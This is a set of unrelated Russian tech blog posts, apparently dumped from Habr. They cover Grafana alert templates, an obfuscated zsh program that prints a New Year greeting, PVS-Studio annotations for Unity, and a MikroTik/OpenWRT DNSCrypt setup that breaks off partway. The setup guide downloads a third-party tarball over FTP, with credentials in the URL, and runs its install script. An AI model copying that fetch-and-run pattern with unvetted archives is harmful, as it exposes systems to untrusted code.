Небольшие пояснения по возможной адаптации шаблона: в шаблоне используются понимаемые телеграмом html-теги, может быть, для других каналов оповещения их придётся выкинуть или заменить на что-то другое. Тексты сообщений после обновления графаны у нас оказались в поле`message`аннотаций, поскольку лень — самое главное качество сисадмина, я решил это не менять. Если у вас текст сообщения хранится в другом поле, придётся подправить шаблон.
Прописываются шаблоны в веб-интерфейсе графаны в разделе alerting/notifications: нажимаем «New template» и вводим новый шаблон.
Дальше на той же странице нужно для используемых каналов оповещений (contact points) указать, что будет использоваться наш шаблон: заходим в настройки нужного канала и прописываем там в в поле Message:
```
{{ template "tgshort" . }}
```
Ну вот и всё. Новый вариант сообщения можете видеть на КПДВ справа. Смайлик, увы, не идёт в комплекте с шаблоном.
P. S. идею использовать юникодные значки для отображения статуса сообщения подсмотрел на [@HetznerStatusChannel](https://t.me/HetznerStatusChannel). Очень удобно, даже не открывая телеграм видишь пришло сообщение о решении проблемы или о новой проблеме. | https://habr.com/ru/post/675548/ | null | ru | null |
# Zsh: fucky new year
Прочитал пост [habrahabr.ru/post/247161](http://habrahabr.ru/post/247161/) и подумал: вот человек написал непонятную программу на bash, которая выводит «Happy new year». Но это ведь bash! Надо показать, что zsh не хуже, а даже намного лучше! И так, программа на zsh, выводящая «С новым годом!» (по‐русски!) со следующими ограничениями:1. Программа не должна использовать никакие сторонние программы. Ни base64, ни cat, ничего.
2. Программа должна выводить текст по‐русски.
3. Программа быть написана на ASCII, но не должна содержать ни одной буквы или цифры.
Не знаю, как бы я справлялся на bash, но с zsh всё проще:
У zsh есть параметры раскрытия переменных (Parameter Expansion Flags из [man zshexpn](http://www.manpagez.com/man/1/zshexpn/)): `echo ${(#):-65}` покажет вам латинскую букву «A». Работает с текущей локалью. В принципе, этого достаточно для написания нужной программы, но есть и другие знания, сильно облегчающие жизнь:
Во‐первых, существуют анонимные функции, благодаря чему не нужно выдумывать имена для функций (хотя функцию можно спокойно назвать даже `+`), а также можно получить дополнительный массив `@` (и не один, но только один в одной области видимости).
Во‐вторых, везде, где zsh ожидает число, можно использовать арифметическое раскрытие (Arithmetic Expansion из того же `man zshexpn`, более подробно в секции ARITHMETIC EVALUATION в [man zshmisc](http://www.manpagez.com/man/1/zshmisc/)), что избавляет от написания `$(())`, `$[]`, да и просто `$`. В том числе пример выше можно написать как `V=0x41; echo ${(#):-V+(V-V)}`, что применимо и к значениям внутри индексов (пригодится при использовании `$@`).
В‐третьих, процедуру вроде `${(#)}` можно проделать с массивом, при этом `(#)` применится к каждому элементу массива.
В‐четвёртых, если вам нужно применить последовательно несколько преобразований, то вам не нужна временная переменная: `${${(#)@}// }` вполне успешно преобразовывает массив арифметических выражений, данных в аргументах, в одну строку без пробелов (два преобразования: `(#)` и удаление пробелов). Вам не нужна временная переменная и для преобразований над строками: `${:-string}` раскрывается в `string`, хотя никаких переменных здесь нет (вариант использовался выше). Bash и вообще все остальные оболочки так не могут.
Таким образом, получаем следующий код:
```
1 (){__=$# } !;___=$[__<<__];____=$[__<<___];_____=$((___<<___))
2 _______=$((__+(__<<(__+____))+(__<<(__+____))<<(__+____)))
3 ______=$((_______+__+__<<____))
4 \*(){(( ${@[-__]} < ______+(______-_______)+_____ )) && { <<< $@ ; <<< $(\* $[$@+____]) } }
5 +(){<<< "${${(#)@}// }"}
6 (){
7 (){<<< "$@"} \
8 "$(+ _______)" \
9 "$(+ ${@[____]}-__ ${@[____]} ______ ${@[-__]}+__ ${@[____]}-___)" \
10 "$(+ ${@[__]}+__ ${@[____]} ${@[__]}+___ ${@[____]} ${@[____]}-___ '____<<(____-__)+__')" \
11 } $(\* $[______])
```
. Здесь в первой строке объявляем переменные со значениями 1, 2, 4, 8, во второй со значением 0x0421 (U+0421 это CYRILLIC CAPITAL LETTER ES), в третьей — 0x0432 (CYRILLIC SMALL LETTER VE). В четвёртой строчке рекурсивная функция, генерирующая последовательность чисел с шагом 4, в пятой — практически рассмотренная выше функция, превращающая массив арифметических выражений в строку без пробелов.
Анонимная функция в шестой строчке нужна для того, чтобы связать сгенерированные функцией из четвёртой строчки числа с массивом, в седьмой — для объединения нескольких строк в одну, разделённую пробелами. На одиннадцатой строчке вызывается наш рекурсивный генератор, а в остальных находится сам текст.
Кажется, задача решена. Запускаем:
```
env -i PATH= LANG=ru_RU.UTF-8 /bin/zsh -f script.zsh
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
*: command not found: cat
+: command not found: cat
+: command not found: cat
+: command not found: cat
(anon): command not found: cat
```
. Ой, что‐то здесь не так: налицо нарушение первого условия. Всё дело в `$NULLCMD`: когда команды нет, а мы используем перенаправление, неявно подставляется значение этой переменной, по‐умолчанию равное `cat`. Решением может служить создание функции `cat`:
```
cat()
while { read i } {
echo $i
}
```
(да, определение функции без фигурных скобок корректно, как и цикл с ними, но без `do`/`done`). Без `eval` такое сделать не получится, поэтому выполняемая строка должна иметь вид `eval 'cat()while {read i} {echo $i}'`. Небольшая проблемка тут в том, что `<<<` использовать нельзя, так что можно и не заморачиваться, а просто переписать всё с ещё одной переменной или функцией, содержащей/возвращающей `echo`. В итоговой программе это функция `@`:
```
(){__=$# } !;___=$[__<<__];____=$[__<<___];_____=$((___<<___))
______=$[_____<<____-___<<____+____]
________="${(#):-______+__}${(#):-______-__}${(#):-______+____}${(#):-______+_____+___+__}"
@() $________ $________
_______=$((__+(__<<(__+____))+(__<<(__+____))<<(__+____)))
______=$((_______+__+__<<____))
\*(){(( ${@[-__]} < ______+(______-_______)+_____ )) && { $(@) $@ ; $(@) $(\* $[$@+____]) } }
+() $(@) "${${(#)@}// }"
(){
(){$(@) "$@"} \
"$(+ _______)" \
"$(+ ${@[____]}-__ ${@[____]} ______ ${@[-__]}+__ ${@[____]}-___)" \
"$(+ ${@[__]}+__ ${@[____]} ${@[__]}+___ ${@[____]} ${@[____]}-___ '____<<(____-__)+__')"
} $(\* $[______])
```
Предпоследним шагом избавимся от кавычек где можно:
```
(){__=$# } !;___=$[__<<__];____=$[__<<___];_____=$((___<<___))
______=$[_____<<____-___<<____+____]
________=${(#):-______+__}${(#):-______-__}${(#):-______+____}${(#):-______+_____+___+__}
@() $________ $________
_______=$((__+(__<<(__+____))+(__<<(__+____))<<(__+____)))
______=$((_______+__+__<<____))
\*(){(( ${@[-__]} < ______+(______-_______)+_____ )) && { $(@) $@ ; $(@) $(\* $[$@+____]) } }
+() $(@) "${${(#)@}// }"
(){
(){$(@) $@} \
$(+ _______) \
$(+ ${@[____]}-__ ${@[____]} ______ ${@[-__]}+__ ${@[____]}-___) \
$(+ ${@[__]}+__ ${@[____]} ${@[__]}+___ ${@[____]} ${@[____]}-___ '____<<(____-__)+__')
} $(\* $[______])
```
Небольшая минификация, а то что‐то код больно понятный:
```
(){__=$# } !;___=$[__<<__];____=$[__<<___];_____=$[___<<___]
______=$[_____<<____-___<<____+____]
________=${(#):-______+__}${(#):-______-__}${(#):-______+____}${(#):-______+_____+___+__}
@()$________ $________
_______=$[__+(__<<(__+____))+(__<<(__+____))<<(__+____)]
______=$[_______+__+__<<____]
\*(){((${@[-__]}<______+(______-_______)+_____))&&{`@` $@ `\* $[$@+____]` }}
+()`@` "${${(#)@}// }"
(){(){`@` $@} `+ _______` `+ ${@[____]}-__ ${@[____]} ______ ${@[-__]}+__ ${@[____]}-___` `+ ${@[__]}+__ ${@[____]} ${@[__]}+___ ${@[____]} ${@[____]}-___ '____<<(____-__)+__'` } `\* $[______]`
```
. Запуск, напомню, `env -i PATH= LANG=ru_RU.UTF-8 /bin/zsh -f script.zsh`.
Вариант, не требующий юникодной локали (в нём собирается строчка `eval LANG=C`, а при этой локали `${(#)}` выдаёт байты с заданным значением):
```
(){__=$# } !;___=$[__<<__];____=$[__<<___];_____=$[___<<___]
______=$[_____<<____-___<<____+____]
________=${(#):-______+__}${(#):-______-__}${(#):-______+____}${(#):-______+_____+___+__}
@()$________ $________
^()`@` ${(#):-$@[__]}${(#):-$@[___]}
''(){(($@<(_____<<____)))&&`@` ${(#)@}||^ $[($@)>>(____+___)|(_____<<____+_____<<(___+__))] $[($@)&(__<<(____+___)-__)|(_____<<____)]}
_______=$[__+(__<<(__+____))+(__<<(__+____))<<(__+____)]
______=$[_______+__+__<<____]
\*(){((${@[-__]}<${@[__]}))&&{`@` $[$@[-__]] `\* $@[__] $[$@[___]+____]` }}
+(){(($#))&&`@` $('' $@[__])$(+ $@[___,-__])}
/()`@` "${${(#)@}// }"
`() {/ $@[__] $@[-__]+____+__ $@[__]-____ $@[-___]-__} $(\* $[#________+(_____<<__)] $[#________])` \
`() {/ $@[-__] $@[__]+__ $@[-__]+___ $@[___+__]-__} $(\* '(____<<____)+_____*___' '____<<____')`=${(#):-$[_____<<(___+__)+___+__]}
(){(){`@` $@} `+ _______` `+ ${@[____]}-__ ${@[____]} ______ ${@[-__]}+__ ${@[____]}-___` `+ ${@[__]}+__ ${@[____]} ${@[__]}+___ ${@[____]} ${@[____]}-___ '____<<(____-__)+__'` } `\* '______+(______-_______)+_____' ______`
```
.
Если добавить ограничения «никакого fork» и «никаких подчёркиваний», то будет задача поинтереснее. В этом случае придётся вспомнить ещё несколько трюков: во‐первых, попытка выполнения неизвестной команды завершается с кодом возврата 127, который и окажется в переменной `$?`. `&>‐` при этом предотвратит печать сообщения об ошибке: функция `/()+++++++&>-` эквивалентна `?=127` (если бы, конечно, можно было присваивать этой переменной), если только у вас нет команды `+++++++`. `${#?}` тогда окажется равной трём. Ещё, можно использовать `/()''&>-`: этот вариант всегда будет выдавать вам `126` в `$?`, поскольку выполнить каталог вы не можете (внимание: вы можете определить функцию с пустым именем, что сделает использование данного трюка невозможным). Последний трюк: функция `/().&>-` присвоит `$?` 1, так как здесь идёт попытка вызвать `.` без аргументов, а `/(). ''&>-`, т.к. `.` попытается найти *файл* с пустым именем в `$PATH`, и, разумеется, не сможет (если же вы добавите в `$PATH` файл вместо каталога, то получите тот же код возврата с сообщением «Это не каталог»: `.` ищет `path_item/`, и наличие `/` в конце приводит к такому результату).
Во‐вторых, переменная `$!` содержит PID последнего процесса, запущенного в фоне. Или 0, если ничего в фоне не запускалось (правда, последняя часть не описана в документации).
В‐третьих, хотя в статье, на которую я отвечаю этот трюк использовался, я его пока не задействовал: числа можно собирать простой конкатенацией строк. В том числе можно собирать их и в виде `${base}#${number}`, что делает задачу просто элементарной для генерации: в `$!` имеем 0, в `$@` имеем массив из одного элемента (1), число собираем в виде `$[$@+$@]#$@$!$!$!` соберёт `2#1000` или `8`. Если же генерировать по какой‐либо причине не хочется, то в дело вступают анонимные функции с возможностью присвоить `$@` нужные вам значения. Вот пример кода, который выполняет `eval LANG=C`:
```
/()+++&>-
//()''&>-
///().&>-
() {
() {
/
() {
/
() {
/
${(#):-$@[${##}<<${##}]+${##}}${(#):-$@[$#]+${##}<<${#?}}${(#):-$@[${#}-${##}]-${#?}}${(#):-$@[$#]-${##}-${##}} $@[${##}]
} $@[${##}] ${##}$!$! $[${##}$!$!+${##}$!]
} ${(#):-$@[$#]+${?[-${##}]}-${##}}${(#):-$@[${#}-${##}]+${?[${##}]}+${##}<<${?[${##}+${##}]}}${(#):-$@[$#]+${##}<<${#?}}${(#):-$@[$#]+${##}}=${(#):-$@[$#]-${#?}} $@[${##},${#?}]
} $@ $[$@[$#]+${#}-${##}]$! $[$@[$#]+${#}]$!
} ${#?} $[${#?}+${#?}] $[${#?}<<(${#?}+${#?})]
```
Вот пример однострочника на Python, который, используя описанную выше технологию, соберёт `echo С новым годом!`:
```
#!/usr/bin/env python3.4
print(''.join(
(
' '
if i == next(iter(b' ')) else
'${{(#):-$[$[$@+$@]#{:b}]}}'.format(i).replace('0', '$!').replace('1', '$@')
)
for i in 'echo С новым годом!'.encode('utf8')))
```
Итоговая программа, использующая генерацию для `echo С новым годом!` и ручную сборку `eval LANG=C`:
```
/()+++&>-
//()''&>-
///(). ''&>-
() {
() {
/
() {
/
() {
/
${(#):-$@[${##}<<${##}]+${##}}${(#):-$@[$#]+${##}<<${#?}}${(#):-$@[${#}-${##}]-${#?}}${(#):-$@[$#]-${##}-${##}} $@[${##}]
} $@[${##}] ${##}$!$! $[${##}$!$!+${##}$!]
} ${(#):-$@[$#]+${?[-${##}]}-${##}}${(#):-$@[${#}-${##}]+${?[${##}]}+${##}<<${?[${##}+${##}]}}${(#):-$@[$#]+${##}<<${#?}}${(#):-$@[$#]+${##}}=${(#):-$@[$#]-${#?}} $@[${##},${#?}]
} $@ $[$@[$#]+${#}-${##}]$! $[$@[$#]+${#}]$!
} ${#?} $[${#?}+${#?}] $[${#?}<<(${#?}+${#?})]
:
() {
${(#):-$[$[$@+$@]#$@$@$!$!$@$!$@]}${(#):-$[$[$@+$@]#$@$@$!$!$!$@$@]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!]}${(#):-$[$[$@+$@]#$@$@$!$@$@$@$@]} ${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$!$!$!$!$@]} ${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$!$@]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$@$!]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$!$!$@$!]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$@]}${(#):-$[$[$@+$@]#$@$!$!$!$@$!$@$@]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$!$!]} ${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$!$!$@$@]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$@$!]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$!$@$!$!]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$@$!]}${(#):-$[$[$@+$@]#$@$@$!$@$!$!$!$!]}${(#):-$[$[$@+$@]#$@$!$@$@$@$@$!$!]}${(#):-$[$[$@+$@]#$@$!$!$!$!$@]}
} ${#?}
```
(`:` нужна для того, чтобы гарантированно иметь `0` в `$?`). Если вы запустите `strace`, то увидите, что `fork` всё же есть: при запуске `/` сначала делается `fork`, а уж потом перебираются возможные местонахождения `+++`. То же самое выйдет с `''`, поэтому нужно заменить функцию `/` на `///`, дающую абсолютно тот же самый результат, что и `/` (не `//`!), но без `fork`. | https://habr.com/ru/post/247249/ | null | ru | null |
# Как анализатор PVS-Studio стал находить ещё больше ошибок в проектах на Unity

Разрабатывая статический анализатор PVS-Studio, мы стараемся развивать его в различных направлениях. Так, наша команда работает над плагинами для IDE (Visual Studio, Rider), улучшением интеграции с CI и т. д. Увеличение эффективности анализа проектов под Unity также является одной из наших приоритетных целей. Мы считаем, что статический анализ позволит программистам, использующим этот игровой движок, повысить качество своего исходного кода и упростить работу над любыми проектами. Поэтому хотелось бы увеличить популярность PVS-Studio среди компаний, занимающихся разработкой под Unity. Одним из первых шагов в реализации данной задумки стало написание нами аннотаций для методов, определённых в движке. Это позволяет контролировать корректность кода, связанного с вызовами аннотируемых методов.
Введение
--------
Аннотации являются одним из важнейших механизмов анализатора. Они предоставляют различную информацию об аргументах, возвращаемом значении и внутренних особенностях методов, которые не могут быть выяснены в автоматическом режиме. В то же время, программист, производящий аннотирование, может предполагать примерную внутреннюю структуру метода и особенности его работы, основываясь на документации и здравом смысле.
Например, вызов метода *GetComponent* выглядит несколько странным, если значение, возвращаемое им, не используется. Ерундовая ошибка? Отнюдь. Конечно, это может быть попросту лишний вызов, забытый и покинутый всеми. А может быть так, что пропущено какое-то важное присваивание. Аннотации могут помочь анализатору найти подобные и многие другие ошибки.
Конечно же, нами уже написано множество аннотаций для анализатора. Например, проаннотированы методы классов из пространства имён *System*. Кроме того, существует и механизм автоматического аннотирования некоторых методов. Подробнее об этом можно узнать [здесь](https://www.viva64.com/ru/b/0592/). Отмечу, что указанная статья больше рассказывает про часть PVS-Studio, отвечающую за анализ проектов на C++. Тем не менее, ощутимой разницы в принципе работы аннотаций для C# и C++ нет.
Написание аннотаций для методов Unity
-------------------------------------
Мы стремимся повысить качество проверки кода проектов, использующих Unity, поэтому и было принято решение проаннотировать методы данного движка.
Изначальная идея состояла в том, чтобы покрыть аннотациями вообще все методы Unity, однако, их оказалось очень много. Вследствие этого, мы решили для начала проаннотировать методы из наиболее часто используемых классов.
### Сбор информации
Сначала необходимо было выяснить, какие же именно классы используются чаще других. Кроме того, важным аспектом является обеспечение возможности сбора результатов аннотирования – новых ошибок, которые анализатор найдёт в реальных проектах благодаря написанным аннотациям. Поэтому первым шагом был поиск соответствующих open-source проектов. Однако сделать это оказалось не так уж просто.
Проблема в том, что многие проекты из найденных были достаточно небольшими по объёму исходного кода. В таких если и есть ошибки, то их не очень много, а уж найти там какие-то срабатывания, связанные именно с методами из Unity, вероятность ещё меньше. Порой попадались проекты, которые практически не использовали (или не использовали совсем) Unity-специфичные классы, хотя по описанию были так или иначе связаны с движком. Подобные находки совершенно не подходили для поставленной задачи.
Конечно, иногда везло. Например, жемчужиной в этой коллекции является [MixedRealityToolkit](https://github.com/microsoft/MixedRealityToolkit-Unity). Кода в нём уже прилично, а значит, и собранная статистика использования Unity-методов в таком проекте будет более полной.
Таким образом, было набрано 20 проектов, использующих возможности движка. Для того, чтобы найти наиболее часто используемые классы, была написана основанная на Roslyn утилита, производящая подсчёт вызовов методов из Unity. Такую программу, кстати, тоже вполне можно назвать статическим анализатором. Ведь если задуматься, она действительно анализирует исходники, не прибегая к запуску самого проекта.
Написанный "анализатор" позволил найти классы, средняя частота использования которых в найденных проектах наиболее высока:
* UnityEngine.Vector3
* UnityEngine.Mathf
* UnityEngine.Debug
* UnityEngine.GameObject
* UnityEngine.Material
* UnityEditor.EditorGUILayout
* UnityEngine.Component
* UnityEngine.Object
* UnityEngine.GUILayout
* UnityEngine.Quaternion
* И т.д.
Конечно, это вовсе не означает, что эти классы действительно так уж часто используются разработчиками – всё-таки статистика, основанная на такой небольшой выборке проектов, не особо заслуживает доверия. Однако для начала этой информации было достаточно, чтобы быть уверенным в том, что аннотируются методы классов, которые хоть где-то используются.
### Аннотирование
После получения необходимой информации пришло время заняться собственно аннотированием. Верными помощниками в этом деле были [документация](https://docs.unity3d.com/ScriptReference/index.html) и редактор Unity, где был создан тестовый проект. Это было необходимо для проверки некоторых моментов, не уточнённых в документации. К примеру, далеко не всегда было ясно, приведёт ли передача *null* в каком-либо аргументе к ошибке, или же выполнение программы продолжится без проблем. Конечно, передача *null*, как правило, это не совсем хорошо, но в этом случае мы считали ошибками лишь то, что прерывало поток выполнения, либо же логировалось редактором Unity как ошибка.
Во время проведения таких проверок были найдены интересные особенности работы некоторых методов. К примеру, запуск кода
```
MeshRenderer renderer = cube.GetComponent();
Material m = renderer.material;
List outNames = null;
m.GetTexturePropertyNameIDs(outNames);
```
приводит к тому, что крашится сам редактор Unity, хотя обычно в подобных случаях происходит прерывание выполнения текущего скрипта и логирование соответствующей ошибки. Конечно, вряд ли разработчики часто пишут подобное, но сам факт того, что редактор Unity можно довести до падения запуском обычных скриптов – не очень хорошо. Подобное же происходит ещё как минимум в одном случае:
```
MeshRenderer renderer = cube.GetComponent();
Material m = renderer.material;
string keyWord = null;
bool isEnabled = m.IsKeywordEnabled(keyWord);
```
*Указанные проблемы актуальны для редактора Unity 2019.3.10f1.*
### Сбор результатов
После того, как аннотирование выполнено, необходимо проверить, как это повлияет на выдаваемые предупреждения. Перед добавлением аннотаций для каждого из подобранных проектов формируется лог с ошибками, который мы называем эталонным. Затем новые аннотации встраиваются в анализатор и производится повторная проверка проектов. Сформированные списки предупреждений, благодаря аннотациям, будут отличаться от эталонных.
Процедура тестирования аннотаций выполняется в автоматическом режиме с помощью специально написанной под эти нужды программы CSharpAnalyserTester. Он производит запуск анализа на проектах, после чего сравнивает получаемые логи с эталонными и формирует файлы, содержащие информацию о различиях.
Описанный подход также используется и для того, чтобы выяснить, какие изменения в логах появляются при добавлении новой или изменении существующей диагностики.
Как уже отмечалось ранее, с поиском больших открытых проектов под Unity возникли сложности. Это неприятно, ведь для них анализатор смог бы выдать больше интересных срабатываний. В то же время, было бы намного больше различий между эталонными логами и логами, сформированными после проведения аннотирования.
Тем не менее, написанные аннотации помогли выявить несколько подозрительных моментов в рассматриваемых проектах, что тоже является приятным результатом работы.
Например, был найден несколько странный вызов *GetComponent*:
```
void OnEnable()
{
GameObject uiManager = GameObject.Find("UIRoot");
if (uiManager)
{
uiManager.GetComponent();
}
}
```
**Предупреждение анализатора**: [V3010](https://www.viva64.com/ru/w/v3010/) The return value of function 'GetComponent' is required to be utilized. — ADDITIONAL IN CURRENT UIEditorWindow.cs 22
Опираясь на [документацию](https://docs.unity3d.com/ScriptReference/GameObject.GetComponent.html), логично сделать вывод, что значение, возвращаемое этим методом, должно как-то использоваться. Поэтому при аннотировании он был отмечен соответствующим образом. Тут же результат вызова ничему не присваивается, что выглядит немного странно.
А вот ещё один пример дополнительных срабатываний анализатора:
```
public void ChangeLocalID(int newID)
{
if (this.LocalPlayer == null) // <=
{
this.DebugReturn(
DebugLevel.WARNING,
string.Format(
....,
this.LocalPlayer,
this.CurrentRoom.Players == null, // <=
newID
)
);
}
if (this.CurrentRoom == null) // <=
{
this.LocalPlayer.ChangeLocalID(newID); // <=
this.LocalPlayer.RoomReference = null;
}
else
{
// remove old actorId from actor list
this.CurrentRoom.RemovePlayer(this.LocalPlayer);
// change to new actor/player ID
this.LocalPlayer.ChangeLocalID(newID);
// update the room's list with the new reference
this.CurrentRoom.StorePlayer(this.LocalPlayer);
}
}
```
**Предупреждения анализатора**:
* [V3095](https://www.viva64.com/ru/w/v3095/) The 'this.CurrentRoom' object was used before it was verified against null. Check lines: 1709, 1712. — ADDITIONAL IN CURRENT LoadBalancingClient.cs 1709
* [V3125](https://www.viva64.com/ru/w/v3125/) The 'this.LocalPlayer' object was used after it was verified against null. Check lines: 1715, 1707. — ADDITIONAL IN CURRENT LoadBalancingClient.cs 1715
Отметим, что PVS-Studio не обращает внимания на передачу *LocalPlayer* в *string.Format*, так как это не приведёт к ошибке. Да и выглядит код так, будто написано это намеренно.
В данном случае влияние аннотаций не столь очевидно. Тем не менее, именно они стали причиной появления этих срабатываний. Возникает вопрос – почему этих предупреждений не было раньше?
Дело в том, что в методе *DebugReturn* производится несколько вызовов, которые в теории могли бы повлиять на значение свойства *CurrentRoom*:
```
public virtual void DebugReturn(DebugLevel level, string message)
{
#if !SUPPORTED_UNITY
Debug.WriteLine(message);
#else
if (level == DebugLevel.ERROR)
{
Debug.LogError(message);
}
else if (level == DebugLevel.WARNING)
{
Debug.LogWarning(message);
}
else if (level == DebugLevel.INFO)
{
Debug.Log(message);
}
else if (level == DebugLevel.ALL)
{
Debug.Log(message);
}
#endif
}
```
Анализатору неизвестны особенности работы вызываемых методов, а значит, и неизвестно, как они будут влиять на ситуацию. Так, PVS-Studio предполагает, что значение *this.CurrentRoom* могло измениться во время работы метода *DebugReturn*, поэтому далее и производится проверка.
Аннотации же дали информацию о том, что методы, вызываемые внутри *DebugReturn*, не повлияют на значения других переменных. Следовательно, использование переменной перед её проверкой на равенство *null* можно считать подозрительным.
Заключение
----------
Подводя итог, стоит сказать, что аннотирование Unity-специфичных методов, вне всяких сомнений, позволит находить больше различных ошибок в проектах, использующих этот движок. Тем не менее, покрытие аннотациями всех доступных методов потребует достаточно много времени. Более эффективным будет аннотировать в первую очередь наиболее часто используемые. Однако, чтобы понять, какие именно классы используются чаще, нужны подходящие проекты с большой кодовой базой. Кроме того, крупные проекты позволяют гораздо лучше контролировать результативность аннотирования. Всем этим мы продолжим заниматься в ближайшее время.
Анализатор постоянно развивается и дорабатывается. Добавление аннотаций для методов Unity лишь один из примеров расширения его возможностей. Таким образом, со временем эффективность работы PVS-Studio растёт. Поэтому, если вы ещё не пробовали PVS-Studio, самое время исправить это, загрузив его с [соответствующей страницы](https://www.viva64.com/ru/pvs-studio-download/). Там же можно получить триальный ключ для анализатора, чтобы ознакомиться с его возможностями, проверив различные проекты.
[](https://habr.com/en/company/pvs-studio/blog/508702/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Lipilin. [How the PVS-Studio analyzer began to find even more errors in Unity projects](https://habr.com/en/company/pvs-studio/blog/508702/). | https://habr.com/ru/post/508706/ | null | ru | null |
# MikroTik & OpenWRT & DNSCrypt
Решение данного квеста навеяно этой [статьей](https://habr.com/post/353878/).
Данная статья рассчитана на пользователя, имеющего домашний роутер производства MikroTik, поэтому моменты, связанные непосредственно с компиляцией и сборкой, опущены, а примеры по MikroTik'у в картинках.
Итак, вкратце, постановка задачи следующая: поднять в качестве виртуальной машины (гостя) на MetaROUTER урезанную версию OpenWRT и уже на нем поднять связку DNS + DNSCrypt, которую использовать для шифрованного обмена данными с внешними DNS серверами.
Решить данную задачу стандартным способом, взяв исходники LEDE(OpenWRT) с поддержкой DNSCrypt, пропатчить ~~KDE под FreeBSD~~ под Mikrotik MetaROUTER и скомпилировать не удалось, поскольку либо ошибки при накладывании патча, либо при компиляции, либо сборка ведет себя не стабильно, ИМХО.
Решить задачу удалось методом последовательных приближений – взяв готовую, старую, но стабильную сборку OpenWRT АА 31411, часть пакетов доставить из репозитария, часть скомпилировать отдельно и немного доработать конфиги напильником.
Итак, берем готовый [комплект](https://cloud.mail.ru/public/5BkP/FMnJ9dPRN) (отдельно сборку OpenWRT можно взять [здесь](http://openwrt.wk.cz/trunk/mr-mips/)), разархивируем, по FTP или через буфер обмена (в проводнике скопировать, на роутере Files->Paste) заливаем на MikroTik файлы openwrt-mr-mips-rootfs-31411-basic.tar.gz и files.tar.gz
Создаем нового гостя, импортируя сборку в MetaROUTER (MetaROUTER->Import Image):

Добавляем новый eth интерфейс для гостя:

Чтобы максимально упростить запуск OpenWRT IP он получает по DHCP от MikroTik, для этого указываем добавлять гостевой инт. (у меня это vif19) в бридж (у меня это – bridge1), в котором также находится внутренний мастер инт. роутера (на моем примере немного иначе, но сути не меняет). Когда OpenWRT получит адрес, делаем его статическим в настройках DHCP сервера роутера и данный адрес указываем в настройках DHCP сервера как адрес DNS сервера для компьютеров (IP->DHCP server->Networks->DNS servers).
После создания гостя он в Disable. Делаем Enable, открываем Console (правой кнопкой на госте), ждем примерно 75 сек, периодически запуская ifconfig, чтобы отловить момент подъема сетевого интерфейса и получения адреса (примерно так):
```
root@metarouter:/# ifconfig
eth0 Link encap:Ethernet HWaddr 02:8D:A2:1D:9D:73
inet addr:172.16.1.247 Bcast:172.16.1.255 Mask:255.255.255.255
…
```
Прежде чем двигаться дальше рекомендую потестить OpenWRT – подключиться телнетом, позапускать что-нибудь — ping, netstat и т.д. что бы убедится, что OpenWRT не падает в kernel panic.
Если все хорошо — приступаем к 'допиливанию' (в консоли):
```
root@metarouter:/# cd /tmp
root@metarouter:/tmp# wget ftp://admin:passwd@router/files.tar.gz (где, router - IP адрес Mikrotik)
root@metarouter:/tmp# tar xzf files.tar.gz
root@metarouter:/tmp cd files
root@metarouter:/tmp/files# ./install.sh
```
**Результат работы install.sh (на отсутствие ошибок)**PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=56 time=13.374 ms
64 bytes from 8.8.8.8: seq=1 ttl=56 time=15.320 ms
64 bytes from 8.8.8.8: seq=2 ttl=56 time=12.756 ms
— 8.8.8.8 ping statistics — 3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 12.756/13.816/15.320 ms
Downloading [openwrt.wk.cz/trunk/mr-mips/packages/Packages.gz](http://openwrt.wk.cz/trunk/mr-mips/packages/Packages.gz).
Inflating [openwrt.wk.cz/trunk/mr-mips/packages/Packages.gz](http://openwrt.wk.cz/trunk/mr-mips/packages/Packages.gz).
Updated list of available packages in /var/opkg-lists/snapshots.
Installing libcap (2.22-1) to root…
Downloading [openwrt.wk.cz/trunk/mr-mips/packages/libcap\_2.22-1\_mr-mips.ipk](http://openwrt.wk.cz/trunk/mr-mips/packages/libcap_2.22-1_mr-mips.ipk).
Configuring libcap.
Installing ntpdate (4.2.6p5-1) to root…
Downloading [openwrt.wk.cz/trunk/mr-mips/packages/ntpdate\_4.2.6p5-1\_mr-mips.ipk](http://openwrt.wk.cz/trunk/mr-mips/packages/ntpdate_4.2.6p5-1_mr-mips.ipk).
Configuring ntpdate.
Installing libsodium (1.0.16-1) to root…
Multiple packages (libc and libc) providing same name marked HOLD or PREFER. Using latest.
Installing libpthread (0.9.33-104) to root…
Downloading [openwrt.wk.cz/trunk/mr-mips/packages/libpthread\_0.9.33-104\_mr-mips.ipk](http://openwrt.wk.cz/trunk/mr-mips/packages/libpthread_0.9.33-104_mr-mips.ipk).
Configuring libpthread.
Configuring libsodium.
Installing dnscrypt-proxy-resolvers (1.9.5+git-20171001-2d43be3-8) to root…
Multiple packages (libc and libc) providing same name marked HOLD or PREFER. Using latest.
Configuring dnscrypt-proxy-resolvers.
Installing dnscrypt-proxy (1.9.5-8) to root…
Multiple packages (libc and libc) providing same name marked HOLD or PREFER. Using latest.
Configuring dnscrypt-proxy.
Installing rng-tools (5-1) to root…
